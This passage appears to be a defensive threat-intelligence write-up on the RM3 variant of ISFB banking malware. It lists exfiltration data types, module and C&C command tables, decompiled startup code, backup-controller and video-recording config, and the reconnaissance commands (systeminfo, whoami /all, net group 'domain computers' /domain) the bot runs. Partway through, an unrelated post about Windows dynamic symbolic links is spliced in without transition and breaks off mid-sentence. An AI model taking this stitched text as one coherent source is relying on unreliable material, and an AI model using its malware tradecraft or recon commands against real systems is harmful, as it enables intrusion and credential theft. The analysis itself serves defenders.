This ingenious trick makes RM3 really hard to catch behind the telemetry generated by the bot. To make short, whenever the user is browsing websites performing those specific requests, the malware is mimicking them by replacing the domain with the controller one.
If that wasn’t enough, the usual base64 beacons are now hidden as a data form and send by means of POST requests. When decrypted, these requests reveal this typical network communication.
Бот отправляет на сервер файлы следующего типа и формата (тип данных задаётся параметром type в POST-запросе):
SEND_ID_UNKNOWN 0 - неизвестно, используется только для тестирования
SEND_ID_FORM 1 - данные HTML-форм. ASCII-заголовок + форма бинарном виде, как есть
SEND_ID_FILE 2 - любой файл, так шлются найденные по маске файлы
SEND_ID_AUTH 3 - данные IE Basic Authentication, ASCII-заголовок + бинарные данные
SEND_ID_CERTS 4 - сертификаты. Файлы PFX упакованые в CAB или ZIP.
SEND_ID_COOKIES 5 - куки и SOL-файлы. Шлются со структурой каталогов. Упакованы в CAB или ZIP
SEND_ID_SYSINFO 6 - информация о системе. UTF8(16)-файл, упакованый в CAB или ZIP
SEND_ID_SCRSHOT 7 - скриншот. GIF-файл.
SEND_ID_LOG 8 - внутренний лог бота. TXT-файл.
SEND_ID_FTP 9 - инфа с грабера FTP. TXT-файл.
SEND_ID_IM 10 - инфа с грабера IM. TXT-файл.
SEND_ID_KEYLOG 11 - лог клавиатуры. TXT-файл.
SEND_ID_PAGE_REP 12 - нотификация о полной подмене страницы TXT-файл.
SEND_ID_GRAB 13 - сграбленый фрагмент контента. ASCII заголовок + контент, как он есть
Over time, they have created more fields:
New Command
ID
Description
SEND_ID_CMD
19
Results from the CMD_RUN command
SEND_ID_???
20
–
SEND_ID_CRASH
21
Crash dump
SEND_ID_HTTP
22
Send HTTP Logs
SEND_ID_ACC
23
Send credentials
SEND_ID_ANTIVIRUS
24
Send Antivirus info
Module list
Analysis indicates that any RM3 instance would have to include at least the following modules:
CRC
Module Name
PE Format
Stage
Description
–
–
MZ
–
1st stage RM3 loader
0xc535d8bf
loader.dll
PX
–
2nd stage RM3 loader
–
–
MZ
–
RM3 Startup module hidden in the shellcode
0x8576b0d0
bl.dll
PX
Host
RM3 Background Loader
0x224c6c42
explorer.dll
PX
Host
RM3 Mastermind
0xd6306e08
rt.dll
PX
Host
RM3 Runtime DLL – RM3 WinAPI/COM Module
0x45a0fcd0
netwrk.dll
PX
Host
RM3 Network API
0xe6954637
browser.dll
PX
Controller
Browser Grabber/HTTPS Interception
0x5f92dac2
iexplore.dll
PX
Controller
Internet explorer Hooking module
0x309d98ff
firefox.dll
PX
Controller
Firefox Hooking module
0x309d98ff
microsoftedgecp.dll
PX
Controller
Microsoft Edge Hooking module (old one)
0x9eff4536
chrome.dll
PX
Controller
Google chrome Hooking module
0x7b41e687
msedge.dll
PX
Controller
Microsoft Edge Hooking module (Chromium one)
0x27ed1635
keylog.dll
PX
Controller
Keylogging module
0x6bb59728
mail.dll
PX
Controller
Mail Grabber module
0x1c4f452a
vnc.dll
PX
Controller
VNC module
0x970a7584
sqlite.dll
PX
Controller
SQLITE Library required for some module
0xfe9c154b
ftp.dll
PX
Controller
FTP module
0xd9839650
socks.dll
PX
Controller
Socks module
0x1f8fde6b
cmdshell.dll
PX
Controller
Persistent remote shell module
Additionally, more configuration files ( .ini ) are used to store all the critical information implemented in RM3. Four different files are currently known:
CRC
Name
0x8fb1dde1
loader.ini
0x68c8691c
explorer.ini
0xd722afcb
client.ini†
0x68c8691c
vnc.ini
† CLIENT.INI is never intended to be seen in an RM3 binary, as it is intended to be received by the loader C&C (aka “the host”, based on its field name on configs). This is completely different from older ISFB strains, where the client.ini is stored in the client32.bin/client64.bin. So it means, if the loader c&c is offline, there is no option to get this crucial file
Moving this file is a clever move by the RM3 malware developers and the TAs using it as they have reduced the risk of having researcher bots in their ecosystem.
RM3 dependency madness
With client32.bin (from the more standard ISFB v2 form) technically not present itself but instead implemented as an accumulation of modules injected into a process, RM3 is drastically different from its predecessors. It has totally changed its micro-ecosystem by forcing all of its modules to interact with each other (except bl.dll) and as shown below.
All interactions between RM3 modules
These changes also slow down any in-depth analysis, as they make it way harder to analyse as a standalone module.
External calls from other RM3 modules (8576b0d0 and e695437)
RM3 Module 101
Thanks to the startup module launched by start.ps1 in the registry, a hidden shell worker is plugged into explorer.exe (not the explorer.dll module) that initialises a hooking instance for specific WinAPI/COM calls. This allows the banking malware to inject all its components into every child process coming from that Windows process. This strategy permits RM3 to have total control of all user interactions.
(*) PoV = Point of View
Looking at DllMain, the code hasn’t changed that much in the years since the ISFB leak.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
BOOL Ret = TRUE;
WINERROR Status = NO_ERROR;
Ret = 1;
if ( ul_reason_for_call ) {
if ( ul_reason_for_call == 1 && _InterlockedIncrement(&g_AttachCount) == 1 ) {
Status = ModuleStartup(hModule, lpReserved); // <- Main call
if ( Status ) {
SetLastError(Status);
Ret = 0;
}
}
}
else if ( !_InterlockedExchangeAdd(&g_AttachCount, 0xFFFFFFFF) ) {
ModuleCleanup();
}
return Ret;
}
It is only when we get to the ModuleStartup call that things start to become interesting. This code has been refactored and adjusted to the RM3 philosophy:
static WINERROR ModuleStartup(HMODULE hModule) {
WINERROR Status;
RM3_Struct RM3;
// Need mandatory RM3 Struct Variable, that contains everything
// By calling an export function from BL.DLL
RM3 = bl!GetRM3Struct();
// Decrypting the .bss section
// CsDecryptSection is the supposed name based on ISFB leak
Status = bl!CsDecryptSection(hModule, 0);
if ( (gs_Cookie ^ RM3->dCrc32ExeName) == PROCESSNAMEHASH )
Status = Startup()
return(Status);
}
This adjustment is pretty similar in all modules and can be summarised as three main steps:
Requesting from bl.dll a critical global structure (called RM3_struct for the purpose of this article) which has the minimal requirements for running the injected code smoothly. The structure itself changes based on which module it is. For example, bl.dll mostly uses it for recreating values that seem to be part of the PEB (hypothesis); explorer.dll uses this structure for storing timeout values and browsers.dll uses it for RM3 injects configurations.
Decrypting the .bss section.
Entering into the checking routine by using an ingenious mechanism:
The filename of the child process is converted into a JamCRC32 hash and compared with the one stored in the startup function. If it matches, the module starts its worker routine, otherwise it quits.
These are a just a few particular cases, but the philosophy of the RM3 Module startup is well represented here. It is a simple and clever move for monitoring user interactions, because it has control over everything coming from explorer.exe.
bl.dll – The backbone of RM3
The background loader is almost nothing and everything at the same time. It’s the root of the whole RM3 infrastructure when it’s fully installed and configured by the initial loader. Its focus is mainly to initialise RM3_Struct and permits and provides a fundamental RM3 API to all other modules:
Explorer.dll could be regarded as the opposite of the background loader. It is designed to manage all interactions of this banking malware, at any level:
Checking timeout timers that could lead to drastic changes in RM3 operations
Allowing and executing all tasks that RM3 is able to perform
Starting fundamental grabbing features
Download and update modules and configs
Launch modules
Modifying RM3 URIs dynamically
An overview of the RM3 explorer.dll module
In the task manager worker, the workaround looks like the following:
RM3 task manager implemented in explorer.dll
Interestingly, the RM3 developers abuse their own hash system (JAMCRC32) by shuffling hashes into very large amounts of conditions. By doing this, they create an ecosystem that is seemingly unique to each build. Because of this, it feels a major update has been performed on an RM3 module although technically it is just another anti-disassembly trick for greatly slowing down any in-depth analysis. On the other hand, this task manager is a gold mine for understanding how all the interactions between bots and the C&C are performed and how to filter them into multiple categories.
General command
General commands
CRC
Command
Description
0xdf43cd90
CRASH
Generate and send a crash report
0x274323e2
RESTART
Restart RM3
0xce54bcf5
REBOOT
Reboot system
Recording
CRC
Command
Description
0x746ce763
VIDEO
Start desktop recording of the victim machine
0x8de92b0d
SETVIDEO
VIDEO pivot condition
0x54a7c26c
SET_VIDEO
Preparing desktop recording
Updates
CRC
Command
Description
0xb82d4140
UPDATE_ALL
Forcing update for all module
0x4f278846
LOAD_UPDATE
Load & Execute and updated PX module
Tasks
CRC
Command
Description
0xaaa425c4
USETASKKEY
Use task.bin pubkey for decrypting upcoming tasks
Timeout settings
CRC
Command
Description
0x955879a6
SENDTIMEOUT
Timeout timer for receiving commands
0xd7a003c9
CONFIGTIMEOUT
Timeout timer for receiving inject config updates
0x7d30ee46
INITIMEOUT
Timeout timer for receiving INI config update
0x11271c7f
IDLEPERIOD
Timeout timer for bot inactivity
0x584e5925
HOSTSHIFTTIMEOUT
Timeout timer for switching C&C domain list
0x9dd1ccaf
STANDBYTIMEOUT
Timeout timer for switching primary C&C’s to Stand by ones
0x9957591
RUNCHECKTIMEOUT
Timeout timer for checking & run RM3 autorun
0x31277bd5
TASKTIMEOUT
Timeout timer for receiving a task request
Clearing
CRC
Command
Description
0xe3289ecb
CLEARCACHE
CLR_CACHE pivot condition
0xb9781fc7
CLR_CACHE
Clear all browser cache
0xa23fff87
CLR_LOGS
Clear all RM3 logs currently stored
0x213e71be
DEL_CONFIG
Remove requested RM3 inject config
HTTP
CRC
Command
Description
0x754c3c76
LOGHTTP
Intercept & log POST HTTP communication
0x6c451cb6
REMOVECSP
Remove CSP headers from HTTP
0x97da04de
MAXPOSTLENGTH
Clear all RM3 logs currently stored
Process execution
CRC
Command
Description
0x73d425ff
NEWPROCESS
Initialising RM3 routine
Backup
CRC
Command
Description
0x5e822676
STANDBY
Case condition if primary servers are not responding for X minutes
Data gathering
CRC
Command
Description
0x864b1e44
GET_CREDS
Collect credentials
0xdf794b64
GET_FILES
Collect files (grabber module)
0x2a77637a
GET_SYSINFO
Collect system information data
Main tasks
CRC
Command
Description
0x3889242
LOAD_CONFIG
Download and Load a requested config with specific arguments
0xdf794b64
GET_FILES
Download a DLL from a specific URL and load it into explorer.exe
0xae30e778
LOAD_EXE
Download an executable from a specific URL and load it
0xb204e7e0
LOAD_INI
Download and load an INI file from a specific URL
0xea0f4d48
LOAD_CMD
Load and Execute Shell module
0x6d1ef2c6
LOAD_FTP
Load and Execute FTP module with specific arguments
0x336845f8
LOAD_KEYLOG
Load and Execute keylog module with specific arguments
0xdb269b16
LOAD_MODULE
Load and Execute RM3 PX Module with specific arguments
0x1e84cd23
LOAD_SOCKS
Load and Execute socks module with specific arguments
0x45abeab3
LOAD_VNC
Load and Execute VNC module with specific arguments
Shell command
CRC
Command
Description
0xb88d3fdf
RUN_CMD
Execute specific command and send the output to the C&C
URI setup
CRC
Command
Description
0x9c3c1432
SET_URI
Change the URI path of the request
File storage
CRC
Command
Description
0xd8829500
STORE_GRAB
Save grabber content into temporary file
0x250de123
STORE_KEYLOG
Save keylog content into temporary file
0x863ecf42
STORE_MAIL
Save stolen mail credentials into temporary file
0x9b587bc4
STORE_HTTPLOG
Save stolen http interceptions into temporary file
0x36e4e464
STORE_ACC
Save stolen credentials into temporary file
Timeout system
With its timeout values stored into its rm3_struct, explorer.dll is able to manage every possible worker task launched and monitor them. Then, whenever one of the timers reaches the specified value, it can modify the behaviour of the malware (in most cases, avoiding unnecessary requests that could create noise and so increase the chances of detection).
COM Objects being inspected for possible timeout
Backup controllers
In the same way, explorer.dll also provides additional controllers which are called ‘stand by’ domains. The idea behind this is that, when principal controller C&Cs don’t respond, a module can automatically switch to this preset list. Those new domains are stored in explorer.ini.
{
"STANDBY": "standbydns1.tld","standbydns2.tld"
"STANDBYTIMEOUT": "60" // Timeout in minutes
}
In the example above, if the primary domain C&Cs did not respond after one hour, the request would automatically switch to the standby C&Cs.
Desktop recording and RM3 – An ingenious way to check bots
Rarely mentioned in the wild but actively used by TAs, RM3 is also able to record bot interactions. The video setup is stored in the client.ini file, which the bot receives from the controller domain.
"SETVIDEO": [
"30,", // 30 seconds
"8,", // 8 Level quality (min:1 - max:10)
"notipda" // Process name list
],
Behind “SETVIDEO”, only 3 values are required to setup video recording:
RM3 AVI recording setup
After being initialised, the task waits its turn to be launched. It can be triggered to work in multiple ways:
Detecting the use of specific keywords in a Windows process
Using RM3’s increased debugging telemetry to detect if something is crashing, either in the banking malware itself or in a deployed injects (although the ability to detect crashes in an inject is only hypothetical and has not been observed)
Recording user interactions with a bank account; the ability to record video is a relatively new but killer move on the part of the malware developers allowing them to check legitimate bots and get injects
The ability to record video depends only on “@VIDEO=” being cached by the browser module. It is not primarily seen at first glance when examining the config, but likely inside external injects parts.
@ ISFB Code leak
Вкладка Video - запись видео с экрана
Opcode = "VIDEO"
Url - задает шаблон URL страницы, для которой необходмо сделать запись видео с экрана
Target - (опционально) задает ключевое слово, при наличии которого в коде страницы будет сделана запись
Var - задаёт длительность записи в секундах
RM3 browser webinject module detecting if it needs to launch a recording session (or any other particular task).
RM3 and its remote shell module – a trump card for ransomware gangs
Banking malware having its own remote shell module changes the potential impact of infecting a corporate network drastically. This shell is completely custom to the malware and is specially designed. It is also significantly less detectable than other tools currently seen for starting lateral movement attacks due to its rarity. The combination of potentially much greater impact and lower detectability make this piece of code a trump card, particularly as they now look to migrate to a ransomware model.
Called cmdshell, this module isn’t exclusive to RM3 but has in fact, been part of ISFB since at least build v2.15. It has likely been of interest for TA groups in fields less focused on fraud since then. The inclusion of a remote shell obviously greatly increases the flexibility this malware family provides to its operators; but also, of course, makes it harder to ascertain the exact purpose of any one infection, or the motivation of its operators.
Cmdshell module being launched by the RM3 Task Manager
After being executed by the task command “LOAD_CMD”, the injected module installs a persistent remote shell which a TA can use to perform any kind of command they want.
RM3 cmdshell module creating the remote shell
As noted above, the inclusion of a shell gives great flexibility, but can certainly facilitate the work of at least two types of TA:
Fraudsters (if the VNC/SOCKS module isn’t working well, perhaps)
Malicious Red teams affiliated with ransomware gangs
It’s worth noting that this remote shell should not be confused with the RUN_CMD command. The RUN_CMD is used to instruct a bot to execute a simple command with the output saved and sent to the Controllers. It is also present as a simple condition:
RUN_CMD inside the RM3 Task Manager
Then following a standard I/O interaction:
Executing task in cmd console and saving results into an archive
But both RM3’s remote shell and the RUN_CMD can be an entry point for pushing other specialised tools like Cobalt Strike, Mimikatz or just simple PowerShell scripts. With this kind of flexibility, the main limitation on the impact of this malware is any given TA’s level of skill and their imagination.
Task.key – a new weapon in RM3’s encryption paranoia
Implemented sometime around Q2 2020, RM3 decided to add an additional layer of protection in its network communications by updating the RSA public key used to encrypt communications between bot and controller domains.
They designed a pivot condition (USETASKKEY) that decides which RSA.KEY and TASK.KEY will be used for decrypting the content from the C&C depending of the command/content received. We believed this choice has been developed for breaking researcher for emulating RM3 traffic.
Extra condition with USETASKKEY to avoid using the wrong RSA pubkey
RM3 – A banking malware designed to debug itself
As we’ve already noted, RM3 represents a significant step change from previous versions of ISFB. These changes extend from major architecture changes down to detailed functional changes and so can be expected to have involved considerable development and probably testing effort, as well. Whether or not the malware developers found the troubleshooting for the RM3 variant more difficult than previously, they also took the opportunity to include a troubleshooting feature. If RM3 experiences any issues, it is designed to dump the relevant process and send a report to the C&C. It’s expected that this would then be reported to the malware developers and so may explain why we now see new builds appearing in the wild rather faster than we have previously.
The task is initialised at the beginning of the explorer module startup with a simple workaround:
Address of the MiniDumpWritDump function from dbghelp.dll is stored
The path of the temporary dump file is stored in C://tmp/rm3.dmp
All these values are stored into a designed function and saved into the RM3 master struct
Crash dump being initialized and stored into the RM3 global structure
With everything now configured, RM3 is ready for two possible scenarios:
Voluntarily crashing itself with the command ‘CRASH’
Something goes wrong and so a specific classic error code triggers the function
RM3 executing the crash dump routine
Stolen Data – The (old) gold mine
Gathering interesting bots is a skill that most banking malware TAs have decent experience with after years of fraud. And nowadays, with the ransomware market exploding, this expertise probably also permits them to affiliate more easily with ransom crews (or even to have exclusivity in some cases).
In general, ISFB (v2 and v3) is a perfect playground as it can be used as a loader with more advanced telemetry than classic info-stealers. For example, Vidar, Taurus or Raccoon Stealer can’t compete at this level. This is because the way they are designed to work as a one-shot process (and be removed from the machine immediately afterwards) makes them much less competitive than the more advanced and flexible ISFB. Of course, in any given situation, this does not necessarily mean they are less important than banking malware. And we should keep in mind the fact that the Revil gang bought the source code for the Kpot stealer and it is likely this was so they could develop their own loader/stealer.
RM3 can be split into three main parts in terms of the grabber:
Files/folders
Browser credential harvesting
Mail
An overview of standard stealing feature developed by RM3
It’s worth noting that the mail module is an underrated feature that can provide a huge amount of information to a TA:
Many users store nearly everything in their email (including passwords and sensitive documents)
Mails can be stolen and resold to spammers for crafting legitimate mails with malicious attachments/links
Stealing/intercepting HTTP and HTTPS communication
RM3 implements an SSL Proxy and so is really effective at intercepting POST requests performed by the user. All of them are stored and sent every X minutes to the controllers.
RM3 browser module initializing the SSL proxy interception
RM3 SSL Proxy running on MsEdge
Whenever the user visits a website, part of the inject config will automatically replace strings or variables in the code (‘base’) with the new content (‘new_var’); this often includes a URL path from an inject C&C.
As if that wasn’t complicated enough, most of them are geofencedand it could be possible they manually allow the bot to get them (especially with the elite one). Indeed, this is another trick for avoiding analysts and researchers to get and report those scripts that cost millions to financial companies.
A typical inject entry in config.bin
A parser then modifies the variable ‘@ID@ and ‘@GROUP@’ to the correct values as stored in RM3_Struct and other structures relevant to the browsers.dll module.
Browser inject module parsing config.bin and replacing with respective botid and groupid
System information gathering
Gathering system information is simple with RM3:
Manually (using a specific RUN_CMD command)
Requesting info from a bot with GET_SYSINFO
Indeed, GET_SYSINFO is known and regularly used by ISFB actors (both active strains)
systeminfo.exe
driverquery.exe
net view
nslookup 127.0.0.1
whoami /all
net localgroup administrators
net group "domain computers" /domain
TAs in general are spending a lot of time (or are literally paying people) to inspect bots for the stolen data they have gathered. In this regard, bots can be split into one of the following groups:
Home bots (personal accounts)
Researcher bots
Corporate bots (compromised host from a company)
Over the past 6 months, ISFB v2 has been seen to be extremely active in term of updates. One purpose of these updates has been to help TAs filter their bots from the loader side directly and more easily. This filtering is not a new thing at all, but it is probably of more interest (and could have a greater impact) for malicious operations these days.
Microsoft Edge (Chromium) joining the targeted browser list
One critical aspect of any banking malware is the ability to hook into a browser so as to inject fakes and replacers in financial institution websites.
At the same time as the Task.key implementation, RM3 decided to implement a new browser in its targeted list: “MsEdge”. This was not random, but was a development choice driven by the sheer number of corporate computers migrating from Internet Explorer to Edge.
RM3 MsEdge startup module
This means that 5 browsers are currently targeted:
Internet Explorer
Microsoft Edge (Original)
Microsoft Edge (Chromium)
Mozilla Firefox
Google Chrome
Currently, RM3 doesn’t seem to interact with Opera. Given Opera’s low user share and almost non-existent corporate presence, it is not expected that the development of a new module/feature for Opera would have an ROI that was sufficiently attractive to the TAs and RM3 developers. Any development and debugging would be time consuming and could delay useful updates to existing modules already producing a reliable return.
RM3 and its homemade forked SQLITE module
A lot of this blogpost has been dedicated to discussing the innovative design and features in RM3. But perhaps the best example of the attention to detail displayed in the design and development of this malware is the custom SQLITE3 module that is included with RM3. Presumably driven by the need to extract credentials data from browsers (and related tasks), they have forked the original SQLite3 source code and refactored it to work in RM3.
Using SQLite is not a new thing, of course, as it was already noted in the ISFB leak.
Interestingly, the RM3 build is based on the original 3.8.6 build and has all the features and functions of the original version.
Because the background loader (bl.dll) is the only module within RM3 technically capable of performing allocation operations, they have simply integrated “free”, “malloc”, and “realloc” API calls with this backbone module.
What’s new with Build 300960?
Goodbye Serpent, Hello AES!
Around mid-march, RM3 pushed a major update by replacing the Serpent encryption with the good old AES 128 CBC. All locations where Serpent encryption was used, have been totally reworked so as to work with AES.
AES 128 CBC implementation in RM3
RM3 C&C response also reviewed
Before build 300960, RM3 treated data received from controllers as described below. Information was split into two encrypted parts (a header and a body) which are treated differently:
The encrypted head was decrypted with the public RSA key extracted from modules, to extract a Serpent key
This Serpent key was then used to decrypt the encrypted data in the body (this is a different key from client.ini and loader.ini).
This was the setup before build 300960:
Now, in the recently released 300960 build, with Serpent removed and AES implemented instead, the structure of the encrypted header has changed as indicated below:
The decrypted body data produced by this process is not in an entirely standard format. In fact, it’s compressed with the APlib library. But removing the first 0x14 bytes (or sometimes 0x4 bytes) and decompressing it, ensures that the final block is ready for analysis.
If it’s a DLL, it will be recognised with the PX format
If it’s web injects, it’s an archive that contains .sig files (that is, MAIN.SIG†)
If it’s tasks or config updates, these are in a classic raw ISFB config format
† SIG can probably be taken to mean ‘signature’
Changes in .ini files
Two fields have been added in the latest campaigns. Interestingly, these are not new RM3 features but old ones that have been present for quite some time.
While teaching a Windows Internals class recently, I came across a situation which looked like a bug to me, but turned out to be something I didn’t know about – dynamic symbolic links.
Symbolic links are Windows kernel objects that point to another object. The weird situation in question was when running WinObj from Sysinternals and navigating to the KenrelObjects object manager directory.
WinObj from Sysinternals
You’ll notice some symbolic link objects that look weird: MemoryErrors, PhysicalMemoryChange, HighMemoryCondition, LowMemoryCondition and a few others. The weird thing that is fairly obvious is that these symbolic link objects have empty targets. Double-clicking any one of them confirms no target, and also shows a curious zero handles, as well as quota change of zero:
Symbolic link properties
To add to the confusion, searching for any of them with Process Explorer yields something like this:
It seems these objects are events, and not symbolic links!
My first instinct was that there is a bug in WinObj (I rewrote it recently for Sysinternals, so was certain I introduced a bug). I ran an old WinObj version, but the result was the same. I tried other tools with similar functionality, and still got the same results. Maybe a bug in Process Explorer? Let’s see in the kernel debugger:
Definitely an event and not a symbolic link. What’s going on? I debugged it in WinObj, and indeed the reported object type is a symbolic link. Maybe it’s a bug in the NtQueryDirectoryObject used to query a directory object for an object.
I asked Mark Russinovich, could there be a bug in Windows? Mark remembered that this is not a bug, but a feature of symbolic links, where objects can be created/resolved dynamically when accessing the symbolic link. Let’s see if we can see something in the debugger:
Clearly, there is target, but notice the flags value 0x10. This is the flag indicating the symbolic link is a dynamic one. To get further information, we need to look at the object with a “symbolic link lenses” by using the data structure the kernel uses to represent symbolic links:
The Callback member shows the function that is being called (MiResolveMemoryEvent) that “resolves” the symbolic link to the relevant event. There are currently 11 such events, their names visible with the following:
